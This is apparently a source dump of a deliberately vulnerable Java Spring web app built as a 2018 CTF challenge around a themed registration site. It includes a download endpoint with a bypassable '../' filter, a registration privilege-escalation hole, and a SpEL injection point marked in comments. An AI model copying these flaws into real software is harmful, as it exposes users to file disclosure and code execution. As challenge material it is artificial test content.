String emailFrom; public static final String emailTo; public static final String format; private static final String PROPERTIES_DEFAULT = "sysConfig.properties"; private static Properties props; /** */ static { props = new Properties(); try{ InputStream inputStream = MailUtil.class.getClassLoader().getResourceAsStream(PROPERTIES_DEFAULT); props.load(inputStream); inputStream.close(); }catch (Exception e) { e.printStackTrace(); } from = props.getProperty("system.start.time"); to = props.getProperty("system.end.time"); emailFrom = props.getProperty("system.emailOperation.start.time"); emailTo = props.getProperty("system.emailOperation.end.time"); format = props.getProperty("system.time.format"); } /** */ public static boolean checkNowOk() throws ParseException { Date current = new Date(System.currentTimeMillis()); Date fDate = new SimpleDateFormat(format).parse(from); Date tDate = new SimpleDateFormat(format).parse(to); System.out.println("From:"+fDate.getTime()); System.out.println("Current:"+current.getTime()); System.out.println("To:"+tDate.getTime()); System.out.println(current.getTime()-fDate.getTime()); System.out.println(tDate.getTime()-current.getTime()); if(current.getTime()-fDate.getTime()>0&&tDate.getTime()-current.getTime()>0) { return true; }else { return false; } } /** */ public static boolean checkEmailOperationAvailable() throws ParseException { Date current = new Date(System.currentTimeMillis()); Date fDate = new SimpleDateFormat(format).parse(emailFrom); Date tDate = new SimpleDateFormat(format).parse(emailTo); System.out.println("email From:"+fDate.getTime()); System.out.println("email Current:"+current.getTime()); System.out.println("email To:"+tDate.getTime()); System.out.println(current.getTime()-fDate.getTime()); System.out.println(tDate.getTime()-current.getTime()); if(current.getTime()-fDate.getTime()>0&&tDate.getTime()-current.getTime()>0) { return true; }else { return false; } } } ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/utils/UUIDUtils.java ================================================ package com.bupt.utils; import java.util.UUID; public class UUIDUtils { public static String getUUID(){ return UUID.randomUUID().toString().replace("-", "").substring(10).toUpperCase(); } } ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/utils/VerifyCodeUtils.java ================================================ package com.bupt.utils; import java.awt.Color; import java.awt.Font; import java.awt.Graphics; import java.awt.Graphics2D; import java.awt.RenderingHints; import java.awt.geom.AffineTransform; import java.awt.image.BufferedImage; import java.io.File; import java.io.FileOutputStream; import java.io.IOException; import java.io.OutputStream; import java.util.Arrays; import java.util.Random; import javax.imageio.ImageIO; /** */ public class VerifyCodeUtils{ //使用到Algerian字体,系统里没有的话需要安装字体,字体只显示大写,去掉了1,0,i,o几个容易混淆的字符 public static final String VERIFY_CODES = "23456789ABCDEFGHJKLMNPQRSTUVWXYZ"; private static Random random = new Random(); /** */ public static String generateVerifyCode(int verifySize){ return generateVerifyCode(verifySize, VERIFY_CODES); } /** */ public static String generateVerifyCode(int verifySize, String sources){ if(sources == null || sources.length() == 0){ sources = VERIFY_CODES; } int codesLen = sources.length(); Random rand = new Random(System.currentTimeMillis()); StringBuilder verifyCode = new StringBuilder(verifySize); for(int i = 0; i < verifySize; i++){ verifyCode.append(sources.charAt(rand.nextInt(codesLen-1))); } return verifyCode.toString(); } /** */ public static String outputVerifyImage(int w, int h, File outputFile, int verifySize) throws IOException{ String verifyCode = generateVerifyCode(verifySize); outputImage(w, h, outputFile, verifyCode); return verifyCode; } /** */ public static String outputVerifyImage(int w, int h, OutputStream os, int verifySize) throws IOException{ String verifyCode = generateVerifyCode(verifySize); outputImage(w, h, os, verifyCode); return verifyCode; } /** */ public static void outputImage(int w, int h, File outputFile, String code) throws IOException{ if(outputFile == null){ return; } File dir = outputFile.getParentFile(); if(!dir.exists()){ dir.mkdirs(); } try{ outputFile.createNewFile(); FileOutputStream fos = new FileOutputStream(outputFile); outputImage(w, h, fos, code); fos.close(); } catch(IOException e){ throw e; } } /** */ public static void outputImage(int w, int h, OutputStream os, String code) throws IOException{ int verifySize = code.length(); BufferedImage image = new BufferedImage(w, h, BufferedImage.TYPE_INT_RGB); Random rand = new Random(); Graphics2D g2 = image.createGraphics(); g2.setRenderingHint(RenderingHints.KEY_ANTIALIASING,RenderingHints.VALUE_ANTIALIAS_ON); Color[] colors = new Color[5]; Color[] colorSpaces = new Color[] { Color.WHITE, Color.CYAN, Color.GRAY, Color.LIGHT_GRAY, Color.MAGENTA, Color.ORANGE, Color.PINK, Color.YELLOW }; float[] fractions = new float[colors.length]; for(int i = 0; i < colors.length; i++){ colors[i] = colorSpaces[rand.nextInt(colorSpaces.length)]; fractions[i] = rand.nextFloat(); } Arrays.sort(fractions); g2.setColor(Color.GRAY);// 设置边框色 g2.fillRect(0, 0, w, h); Color c = getRandColor(200, 250); g2.setColor(c);// 设置背景色 g2.fillRect(0, 2, w, h-4); Random random = new Random(); g2.setColor(getRandColor(160, 200));// 设置线条的颜色 for (int i = 0; i < 20; i++) { int x = random.nextInt(w - 1); int y = random.nextInt(h - 1); int xl = random.nextInt(6) + 1; int yl = random.nextInt(12) + 1; g2.drawLine(x, y, x + xl + 40, y + yl + 20); } float yawpRate = 0.05f;// 噪声率 int area = (int) (yawpRate * w * h); for (int i = 0; i < area; i++) { int x = random.nextInt(w); int y = random.nextInt(h); int rgb = getRandomIntColor(); image.setRGB(x, y, rgb); } shear(g2, w, h, c);// 使图片扭曲 g2.setColor(getRandColor(100, 160)); int fontSize = h-4; Font font = new Font("Algerian", Font.ITALIC, fontSize); g2.setFont(font); char[] chars = code.toCharArray(); for(int i = 0; i < verifySize; i++){ AffineTransform affine = new AffineTransform(); affine.setToRotation(Math.PI / 4 * rand.nextDouble() * (rand.nextBoolean() ? 1 : -1), (w / verifySize) * i + fontSize/2, h/2); g2.setTransform(affine); g2.drawChars(chars, i, 1, ((w-10) / verifySize) * i + 5, h/2 + fontSize/2 - 10); } g2.dispose(); ImageIO.write(image, "jpg", os); } private static Color getRandColor(int fc, int bc) { if (fc > 255) fc = 255; if (bc > 255) bc = 255; int r = fc + random.nextInt(bc - fc); int g = fc + random.nextInt(bc - fc); int b = fc + random.nextInt(bc - fc); return new Color(r, g, b); } private static int getRandomIntColor() { int[] rgb = getRandomRgb(); int color = 0; for (int c : rgb) { color = color << 8; color = color | c; } return color; } private static int[] getRandomRgb() { int[] rgb = new int[3]; for (int i = 0; i < 3; i++) { rgb[i] = random.nextInt(255); } return rgb; } private static void shear(Graphics g, int w1, int h1, Color color) { shearX(g, w1, h1, color); shearY(g, w1, h1, color); } private static void shearX(Graphics g, int w1, int h1, Color color) { int period = random.nextInt(2); boolean borderGap = true; int frames = 1; int phase = random.nextInt(2); for (int i = 0; i < h1; i++) { double d = (double) (period >> 1) * Math.sin((double) i / (double) period + (6.2831853071795862D * (double) phase) / (double) frames); g.copyArea(0, i, w1, 1, (int) d, 0); if (borderGap) { g.setColor(color); g.drawLine((int) d, i, 0, i); g.drawLine((int) d + w1, i, w1, i); } } } private static void shearY(Graphics g, int w1, int h1, Color color) { int period = random.nextInt(40) + 10; // 50; boolean borderGap = true; int frames = 20; int phase = 7; for (int i = 0; i < w1; i++) { double d = (double) (period >> 1) * Math.sin((double) i / (double) period + (6.2831853071795862D * (double) phase) / (double) frames); g.copyArea(i, 0, 1, h1, 0, (int) d); if (borderGap) { g.setColor(color); g.drawLine(i, (int) d, i, 0); g.drawLine(i, (int) d + h1, i, h1); } } } public static void main(String[] args) throws IOException{ File dir = new File("F:/verifies"); int w = 200, h = 80; for(int i = 0; i < 50; i++){ String verifyCode = generateVerifyCode(4); File file = new File(dir, verifyCode + ".jpg"); outputImage(w, h, file, verifyCode); } } } ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/web/DownloadController.java ================================================ package com.bupt.web; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.RequestParam; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpSession; import java.io.File; import java.io.FileInputStream; import java.io.OutputStream; /** */ @Controller @RequestMapping(value = "download") public class DownloadController { private static final String path = "/download"; @RequestMapping(value ="/files", method = RequestMethod.GET) public void downloadFlag(HttpSession session, HttpServletRequest req, HttpServletResponse res, @RequestParam("file") String filename){ String downloadPath = this.getClass().getResource(path).getPath(); String filtered_filename = filename.replace("../","").replace("./", ""); String filePath = downloadPath + "/" + filtered_filename; try { res.setHeader("Content-disposition", "attachment;fileName=" + new String(filename.getBytes("GBK"), "ISO8859-1")); res.setHeader("Content-type","application/pdf"); FileInputStream input = new FileInputStream(filePath); OutputStream out = res.getOutputStream(); byte[] b = new byte[2048]; int len; while ((len = input.read(b)) != -1) { out.write(b, 0, len); } res.setHeader("Content-Length", String.valueOf(input.getChannel().size())); input.close(); } catch (Exception ex) { } return; } } ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/web/IndexController.java ================================================ package com.bupt.web; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; @Controller @RequestMapping(value = "") public class IndexController { @RequestMapping("/index.html") public String index(){ return "index"; } } ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/web/LoginController.java ================================================ package com.bupt.web; import com.bupt.canstants.Canstants; import com.bupt.common.JsonData; import com.bupt.dao.ProfileDao; import com.bupt.dao.UserDao; import com.bupt.domain.User; import com.bupt.exception.ParamException; import com.bupt.service.UserService; import com.bupt.utils.*; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.*; import org.springframework.web.servlet.mvc.support.RedirectAttributes; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpSession; import java.text.ParseException; @Controller @RequestMapping(value = "user") public class LoginController { @Autowired private UserService userService; @Autowired private UserDao userDao; @Autowired private ProfileDao profileDao; @RequestMapping("/loginHtml.html") public String loginHtml(HttpSession session,@ModelAttribute("message") String message) { System.out.println("-->user/loginHtml.html"); Integer code = (Integer) session.getAttribute("first"); if(code!=null){ if (code == User.UNSUBMITTED) { return "redirect:/profile/profileAdd.html"; } else if (code == User.ADMIN) { return "redirect:/profile/export"; } else { return "redirect:/profile/my"; } }else { session.setAttribute("message", message); return "login"; } } @RequestMapping(value = "/login.html", method = RequestMethod.POST) public String login(User user, HttpSession session,RedirectAttributes model) throws Exception{ if(user==null||!Check.checkUserName(user.getUsername())||!Check.checkPassword(user.getPassword())){ throw new ParamException("参数校验失败"); } User temp = userDao.findUserByUsername(user.getUsername()); String passwordMD5 = MD5Util.getPasswordMD5(user.getPassword(), temp.getSalt()); if (temp.getUsername() == null || !passwordMD5.equals(temp.getPassword())) { model.addFlashAttribute("message", Canstants.loginPawFail); return "redirect:/user/loginHtml.html"; } model.addFlashAttribute("message", Canstants.loginSuccess); model.addFlashAttribute("username", temp.getUsername()); model.addFlashAttribute("userId", temp.getId()); model.addFlashAttribute("first", temp.getFirst()); session.setAttribute("message", Canstants.loginSuccess); session.setAttribute("username", temp.getUsername()); session.setAttribute("userId", temp.getId()); session.setAttribute("first", temp.getFirst()); if (temp.getFirst() == User.UNSUBMITTED) { model.addFlashAttribute("first", User.UNSUBMITTED); return "redirect:/profile/profileAdd.html"; } else if (temp.getFirst() == User.ADMIN) { return "redirect:/profile/export"; } else { return "redirect:/profile/my"; } } @RequestMapping("/logout") public String logout(HttpSession session){ session.removeAttribute("message"); session.removeAttribute("username"); session.removeAttribute("userId"); session.removeAttribute("first"); session.removeAttribute("profile"); session.removeAttribute("email"); return "redirect:/"; } @RequestMapping("/registerHtml.html") public String register2(HttpServletRequest request,HttpSession session,@ModelAttribute("message") String message) throws ParseException { if(!SystemDateTimeChecker.checkNowOk()){ request.setAttribute("message",Canstants.timeLimited); return "error"; } Integer code = (Integer) session.getAttribute("first"); if(code!=null){ if (code == User.UNSUBMITTED) { return "redirect:/profile/profileAdd.html"; } else if (code == User.ADMIN) { return "redirect:/profile/export"; } else { return "redirect:/profile/my"; } }else { session.setAttribute("message",message); return "register"; } } //注册越权,参考0ctf2018 决赛第一步 @RequestMapping(value = "/register.html", method = RequestMethod.POST) public String register(User user, HttpServletRequest request,HttpSession session,RedirectAttributes model) throws Exception{ if(!SystemDateTimeChecker.checkNowOk()){ request.setAttribute("message",Canstants.timeLimited); return "error"; } if(user==null||!Check.checkUserName(user.getUsername())||!Check.checkPassword(user.getPassword())||!Check.checkEmail(user.getEmail())){ throw new ParamException("参数校验失败"); } System.out.println("-->register.html"); if (user.getUsername() == null || user.getPassword() == null || user.getEmail() == null || user.getUsername().equals("") || user.getPassword().equals("") | user.getEmail().equals("")) { model.addFlashAttribute("message",Canstants.regFail); session.setAttribute("message", Canstants.regFail); return "redirect:/user/registerHtml.html"; } User temp = userDao.findUserByUsername(user.getUsername()); if (temp.getUsername() != null) { model.addFlashAttribute("message",Canstants.regNameFail); session.setAttribute("message", Canstants.regNameFail); return "redirect:/user/registerHtml.html"; } temp = userDao.findUserByEmail(user.getEmail()); if (temp.getEmail() != null) { model.addFlashAttribute("message",Canstants.regEmailFail); session.setAttribute("message", Canstants.regEmailFail); return "redirect:/user/registerHtml.html"; } try { user.setPdd(user.getPassword()); user.setSalt(UUIDUtils.getUUID()); user.setPassword(MD5Util.getPasswordMD5(user.getPassword(), user.getSalt())); userDao.addUser(user); } catch (Exception e) { throw new ParamException("参数异常"); } model.addFlashAttribute("message",Canstants.regSuccess); session.setAttribute("message", Canstants.regSuccess); return "redirect:/user/loginHtml.html"; } @RequestMapping(value = "/send_email.json", method = RequestMethod.POST) @ResponseBody public JsonData sendEmail(@RequestParam String username,String email, HttpSession session)throws Exception { if(!SystemDateTimeChecker.checkEmailOperationAvailable()){ return JsonData.fail(Canstants.timeLimited); } if(!Check.checkNotEmputy(username)||!Check.checkNotEmputy(email)){ throw new ParamException("参数校验失败"); } JsonData jsonData = null; User user = userDao.findUserByUsername(username); if (username == null || username.equals("") ||email ==null || email.equals("") || user.getUsername() == null || !user.getEmail().equals(email)) { session.setAttribute("message", Canstants.findEmailFail); jsonData = JsonData.fail(Canstants.findEmailFail); jsonData.setRet(false); return jsonData; } String checkcode = UUIDUtils.getUUID(); String time = String.valueOf(System.currentTimeMillis()); User temp = userDao.findUserByUsername(username); temp.setCheckcode(checkcode); temp.setTime(time); userDao.updateUser(temp); try { System.out.println(user.getEmail()); MailUtil.sendMail(user.getEmail(), "恋爱的季节", "

      验证码:" + checkcode + "

      "); session.setAttribute("message", Canstants.findEmailSeccess); jsonData = JsonData.success(); jsonData.setMsg(Canstants.findEmailSeccess); jsonData.setRet(true); } catch (Exception e) { e.printStackTrace(); jsonData = JsonData.fail(Canstants.sendEmailFail); jsonData.setRet(false); return jsonData; } return jsonData; } @RequestMapping("/findHtml.html") public String find(HttpServletRequest request,HttpSession session) throws ParseException { if(!SystemDateTimeChecker.checkEmailOperationAvailable()){//对不在指定时间访问需要登录的接口请求进行统一后台拦截 request.setAttribute("message",Canstants.timeLimited); return "error"; } Integer code = (Integer) session.getAttribute("first"); if(code!=null){ if (code == User.UNSUBMITTED) { return "redirect:/profile/profileAdd.html"; } else if (code == User.ADMIN) { return "redirect:/profile/export"; } else { return "redirect:/profile/my"; } }else { return "find"; } } @RequestMapping(value = "/find.html", method = RequestMethod.POST) public String find(HttpServletRequest request,@RequestParam String username, String password1, String password2, String checkcode, HttpSession session,RedirectAttributes model) throws Exception { if(!SystemDateTimeChecker.checkEmailOperationAvailable()){ request.setAttribute("message",Canstants.timeLimited); return "error"; } if(!Check.checkUserName(username)||!Check.checkPassword(password1)||!Check.checkNotEmputy(checkcode)){ throw new ParamException("参数校验失败"); } User temp = userDao.findUserByUsername(username); if (username == null || checkcode == null || password1 == null || password2 == null || username.equals("") || checkcode.equals("") || password1.equals("") || password2.equals("") || temp.getUsername() == null ) { session.setAttribute("message", Canstants.findNull); return "redirect:/user/findHtml.html"; } if (!temp.checkcode.equals(checkcode) || System.currentTimeMillis() - Long.parseLong(temp.getTime()) > 1800000) { session.setAttribute("message", Canstants.findCheckError); return "redirect:/user/findHtml.html"; } if (!password1.equals(password2)) { session.setAttribute("message", Canstants.findPasswordFail); return "redirect:/user/findHtml.html"; } temp.setPdd(password1); temp.setPassword(MD5Util.getPasswordMD5(password1, temp.getSalt())); userDao.updateUser(temp); model.addFlashAttribute("message",Canstants.changePwdSuccess); return "redirect:/user/loginHtml.html"; } } ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/web/ProfileControllor.java ================================================ package com.bupt.web; import com.bupt.common.SpelView; import com.bupt.canstants.Canstants; import com.bupt.dao.ProfileDao; import com.bupt.dao.UserDao; import com.bupt.domain.Flag; import com.bupt.domain.Profile; import com.bupt.domain.User; import com.bupt.exception.PermissionException; import com.bupt.service.upload.Thumbnail; import com.bupt.service.upload.Upload; import com.bupt.utils.Check; import com.bupt.utils.SystemDateTimeChecker; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.ModelAttribute; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.multipart.MultipartFile; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpSession; import java.io.IOException; import java.io.UnsupportedEncodingException; import java.text.ParseException; @Controller @RequestMapping("/profile") public class ProfileControllor { @Autowired private Upload upload; @Autowired private Thumbnail thumbnail; @Autowired ProfileDao profileDao; @Autowired UserDao userDao; @RequestMapping("/info.html") public String info(){ return "arrangeMent"; } @RequestMapping("/competitionRule.html") public String competitionRule(){ return "competitionRule"; } @RequestMapping("/profileEditHtml.html") public String profileEditPage(HttpSession session){ Integer first = (Integer) session.getAttribute("first"); if(first==1) { return "profile_edit"; }else { session.setAttribute("message","请先填写报名信息!"); return "error"; } } @RequestMapping("/profileAdd.html") public String profileAddPage(HttpServletRequest request,HttpSession session) throws ParseException { if(!SystemDateTimeChecker.checkNowOk()){ request.setAttribute("message",Canstants.timeLimited); return "error"; } String username = (String) session.getAttribute("username"); User temp = userDao.findUserByUsername(username); session.setAttribute("email",temp.getEmail()); return "profile_add"; } /** */ @RequestMapping("/myProfile") public String myProfilePage(HttpSession session,@ModelAttribute("message") String message) { Integer first = (Integer) session.getAttribute("first"); if(first!=null&&first==0){ session.setAttribute("message",Canstants.fillTheProfileFirst); return "noProfile"; }else if(first==1){ Integer userid = (Integer) session.getAttribute("userId"); Profile profile = profileDao.findProfileByUserId(userid); String template = profileView(profile);//这个函数存在spel注入 session.setAttribute("Template", template); session.setAttribute("profile", profile); session.setAttribute("message", message); return "profile_view"; }else if(first==2){ return "excel"; }else { session.setAttribute("message",Canstants.authFail); return "error"; } } /** */ @RequestMapping("/my") public String myInfo(HttpSession session){ Integer userid = (Integer) session.getAttribute("userId"); Profile profile = profileDao.findProfileByUserId(userid); session.setAttribute("profile", profile); return "arrangeMent"; } @RequestMapping("/export") public String exportPage(HttpSession session,@ModelAttribute("message") String message){ Integer code = (Integer) session.getAttribute("first"); if(code!=null&&code== User.ADMIN){ session.setAttribute("message", message); Flag flag = new Flag(); flag.setFlag(); session.setAttribute("flag", flag.getFlag()); return "excel"; }else { session.setAttribute("message", Canstants.authFail); return "error"; } } @RequestMapping(value = "/add",method = RequestMethod.POST) public String add(@RequestParam("image")MultipartFile file, Profile profile, HttpServletRequest request, HttpSession session) throws IOException, ParseException { if(!SystemDateTimeChecker.checkNowOk()){//对不在指定时间访问需要登录的接口请求进行统一后台拦截 request.setAttribute("message","接口暂未开放访问权限"); return "error"; } boolean flag = Check.checkProfile(profile); if(!flag) { System.out.println("[-]Check Profile Wrong"); session.setAttribute("message", Canstants.checkFail); return "redirect:/profile/profileAdd.html"; } String fileName = file.getOriginalFilename(); String suffix = fileName.substring(fileName.lastIndexOf(".") + 1); if(!Canstants.suffixs.contains(suffix)){//不在允许的后缀之内 System.out.println("[-] There is something wromng"); session.setAttribute("message", Canstants.checkFail); return "redirect:/profile/profileAdd.html"; } Integer code = (Integer) session.getAttribute("first"); if (code != null && code == User.UNSUBMITTED) {// String realUploadPath = request.getServletContext().getRealPath("/") + "images"; String uuidFileName = java.util.UUID.randomUUID().toString(); String imageUrl = upload.uploadImage(file, realUploadPath, uuidFileName); String thumbImageUrl = thumbnail.generateThumbnail(file, realUploadPath, uuidFileName); int userId = (Integer) session.getAttribute("userId"); profile.setUser_id(userId); profile.setPhoto(thumbImageUrl); profileDao.addProfile(profile); userDao.updateFirst(userId,1); String template = profileView(profile); session.setAttribute("Template", template); session.setAttribute("profile", profile); session.setAttribute("first",1); return "redirect:/profile/myProfile"; } else { session.setAttribute("message", Canstants.authFail); return "error"; } } @RequestMapping(value = "/edit",method = RequestMethod.POST) public String edit(Profile profile, HttpServletRequest request, HttpSession session)throws IOException{ boolean flag = Check.checkProfile(profile); if(!flag) { session.setAttribute("message", Canstants.checkFail); return "redirect:/profile/profileEditHtml.html"; } Integer code = (Integer) session.getAttribute("first"); if (code != null && code == User.UNSUBMITTED) { return "redirect:/profile/myProfile"; } else if(code != null && code == User.SUBMITTED) { User mailUser = userDao.findUserByEmail(profile.getMail()); int userId = (Integer) session.getAttribute("userId"); if(mailUser.getEmail()!=null&&mailUser.getId()!=userId){ session.setAttribute("message", Canstants.regEmailFail); return "redirect:/profile/profileEditHtml.html"; } Profile p = profileDao.findProfileByUserId(userId); profile.setId(p.getId()); profile.setUser_id(p.getUser_id()); profile.setPhoto(p.getPhoto()); if(p.getId()!=profile.getId()||p.getUser_id()!=profile.getUser_id()){//越权访问 session.setAttribute("message", Canstants.authFail); return "redirect:/profile/profileEditHtml.html"; } if(userId==profile.getUser_id()){ profileDao.editProfile(profile); userDao.updateEmail(userId,profile.getMail()); }else { throw new PermissionException(Canstants.authFail); } session.setAttribute("profile", profile); return "redirect:/profile/myProfile"; }else { session.setAttribute("message", Canstants.authFail); return "error"; } } public String profileView(Profile profile) { return String.valueOf(new SpelView(profile).getTemplate()); } } ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/web/admin/AdminControllor.java ================================================ package com.bupt.web.admin; import com.bupt.dao.ProfileDao; import com.bupt.dao.UserDao; import com.bupt.domain.Profile; import com.bupt.domain.User; import com.bupt.utils.ProfileExcelExportUtils; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpSession; import java.io.File; import java.io.FileInputStream; import java.io.OutputStream; import java.util.List; @Controller @RequestMapping("admin") public class AdminControllor { @Autowired ProfileDao profileDao; @Autowired UserDao userDao; @RequestMapping("/excel.html") public void excel(HttpSession session, HttpServletRequest req, HttpServletResponse res) { System.out.println("-->admin/excel.html"); String username = (String) session.getAttribute("username"); User temp = userDao.findUserByUsername(username); System.out.println(temp); if (temp.getFirst() != User.ADMIN) { return; } System.out.println(session.getServletContext().getRealPath("")); String path = session.getServletContext().getRealPath("") + File.separator + "excel"; File file = new File(path); if (!file.exists()) { file.mkdirs(); } List profileDaoList = profileDao.findAll(); String filePath = path + File.separator + "恋爱的季节.xls"; ProfileExcelExportUtils.generateExcel(filePath, profileDaoList); try { res.setHeader("Content-disposition", "attachment;fileName=" + new String("恋爱的季节.xls".getBytes("GBK"), "ISO8859-1")); res.setContentType("application/vnd.ms-excel;charset=UTF-8"); FileInputStream input = new FileInputStream(filePath); OutputStream out = res.getOutputStream(); byte[] b = new byte[2048]; int len; while ((len = input.read(b)) != -1) { out.write(b, 0, len); } res.setHeader("Content-Length", String.valueOf(input.getChannel().size())); input.close(); } catch (Exception ex) { } return; } } ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/main.iml ================================================ ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/resources/spring/ApplicationContext-dao.xml ================================================ ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/resources/spring/ApplicationContext-service.xml ================================================ ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/resources/spring/spring-context.xml ================================================ ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/resources/spring/sprintmvc.xml ================================================ ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/resources/sysConfig.properties ================================================ #Mail mail.transport.protocol=SMTP #mail.smtp.host=smtp.163.com mail.smtp.host=mail.bupt.edu.cn mail.smtp.port=25 mail.smtp.auth=true mail.smtp.timeout=25000 mail.username=test@bupt.edu.cn mail.password=test #system star and end time system.start.time=2018-05-24 15:10:00 system.end.time=2018-06-28 17:00:00 system.time.format=yyyy-MM-dd HH:mm:ss system.emailOperation.start.time=2018-05-24 15:10:00 system.emailOperation.end.time=2018-07-17 16:03:00 system.public.ctf.email=test@bupt.edu.cn #competition.link.releaseState=false competition.link.releaseState=true #信息学竞赛入口 competition.link.noip=http://2018.tsctf.com #CTF竞赛入口 competition.link.ctf=http://2018.tsctf.com ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/schema/chapter2.sql ================================================ /* Navicat MySQL Data Transfer Source Server : 本地MySQL Source Server Version : 50711 Source Host : localhost:3306 Source Database : chapter2 Target Server Type : MYSQL Target Server Version : 50711 File Encoding : 65001 Date: 2018-05-02 21:47:16 */ SET FOREIGN_KEY_CHECKS=0; -- ---------------------------- -- Table structure for profile -- ---------------------------- DROP TABLE IF EXISTS `profile`; CREATE TABLE `profile` ( `id` int(11) NOT NULL AUTO_INCREMENT, `user_id` int(11) NOT NULL, `name` varchar(255) COLLATE utf8_bin DEFAULT NULL, `gender` varchar(255) COLLATE utf8_bin DEFAULT NULL, `birthday` varchar(255) COLLATE utf8_bin DEFAULT NULL, `province` varchar(255) COLLATE utf8_bin DEFAULT NULL, `nation` varchar(255) COLLATE utf8_bin DEFAULT NULL, `politics_status` varchar(255) COLLATE utf8_bin DEFAULT NULL, `IDnumber` varchar(255) COLLATE utf8_bin DEFAULT NULL, `type` varchar(255) COLLATE utf8_bin DEFAULT NULL, `school` varchar(255) COLLATE utf8_bin DEFAULT NULL, `grade` varchar(255) COLLATE utf8_bin DEFAULT NULL, `address` varchar(255) COLLATE utf8_bin DEFAULT NULL, `postcode` varchar(255) COLLATE utf8_bin DEFAULT NULL, `phone` varchar(255) COLLATE utf8_bin DEFAULT NULL, `height` int(11) DEFAULT NULL, `weight` int(11) DEFAULT NULL, `mail` varchar(255) COLLATE utf8_bin DEFAULT NULL, `father_name` varchar(255) COLLATE utf8_bin DEFAULT NULL, `father_job` varchar(255) COLLATE utf8_bin DEFAULT NULL, `father_phone` varchar(255) COLLATE utf8_bin DEFAULT NULL, `mother_name` varchar(255) COLLATE utf8_bin DEFAULT NULL, `mother_job` varchar(255) COLLATE utf8_bin DEFAULT NULL, `mother_phone` varchar(255) COLLATE utf8_bin DEFAULT NULL, `hobby` varchar(255) COLLATE utf8_bin DEFAULT NULL, `description` varchar(255) COLLATE utf8_bin DEFAULT NULL, `photo` varchar(255) COLLATE utf8_bin DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB AUTO_INCREMENT=152 DEFAULT CHARSET=utf8 COLLATE=utf8_bin; -- ---------------------------- -- Table structure for user -- ---------------------------- DROP TABLE IF EXISTS `user`; CREATE TABLE `user` ( `id` int(11) NOT NULL AUTO_INCREMENT, `username` varchar(255) COLLATE utf8_bin NOT NULL, `password` varchar(255) COLLATE utf8_bin NOT NULL, `email` varchar(255) COLLATE utf8_bin NOT NULL, `salt` varchar(255) COLLATE utf8_bin DEFAULT NULL, `head_url` varchar(255) COLLATE utf8_bin DEFAULT NULL, `score` int(11) DEFAULT NULL, `checkcode` varchar(255) COLLATE utf8_bin DEFAULT NULL, `time` varchar(255) COLLATE utf8_bin DEFAULT NULL, `first` int(11) unsigned zerofill DEFAULT NULL, `pdd` varchar(255) COLLATE utf8_bin NOT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB AUTO_INCREMENT=336 DEFAULT CHARSET=utf8 COLLATE=utf8_bin; ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/webapp/WEB-INF/bupt-servlet.xml ================================================ ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/webapp/WEB-INF/jsp/alink.jsp ================================================ <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% String path = request.getContextPath(); String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/"; %>

      信息公告栏

      恋爱的季节

      一首《明天会更好》送给单身狗们

      恋爱的季节

      春天是一个恋爱的季节
      ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/webapp/WEB-INF/jsp/arrangeMent.jsp ================================================ <%@ page import="com.bupt.utils.SysConfigUtils" %> <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% String path = request.getContextPath(); String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/"; %>

      如何才能优雅的“脱单”  

              

              哈哈哈,一看就是一只还没脱单的单身狗,汪汪汪~

              吃完今天的狗粮,早点洗洗睡吧

      ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/webapp/WEB-INF/jsp/competitionRule.jsp ================================================ <%@ page import="com.bupt.utils.SysConfigUtils" %> <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% String path = request.getContextPath(); String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/"; %>

      恋爱的季节-经验分享  

              

              无论从生物学人类繁衍,物种延续,基因传承的本能来说,还是社会学人们对亲密关系的需求,爱情是世世代代人类需要面临的问题

          1. 增加魅力

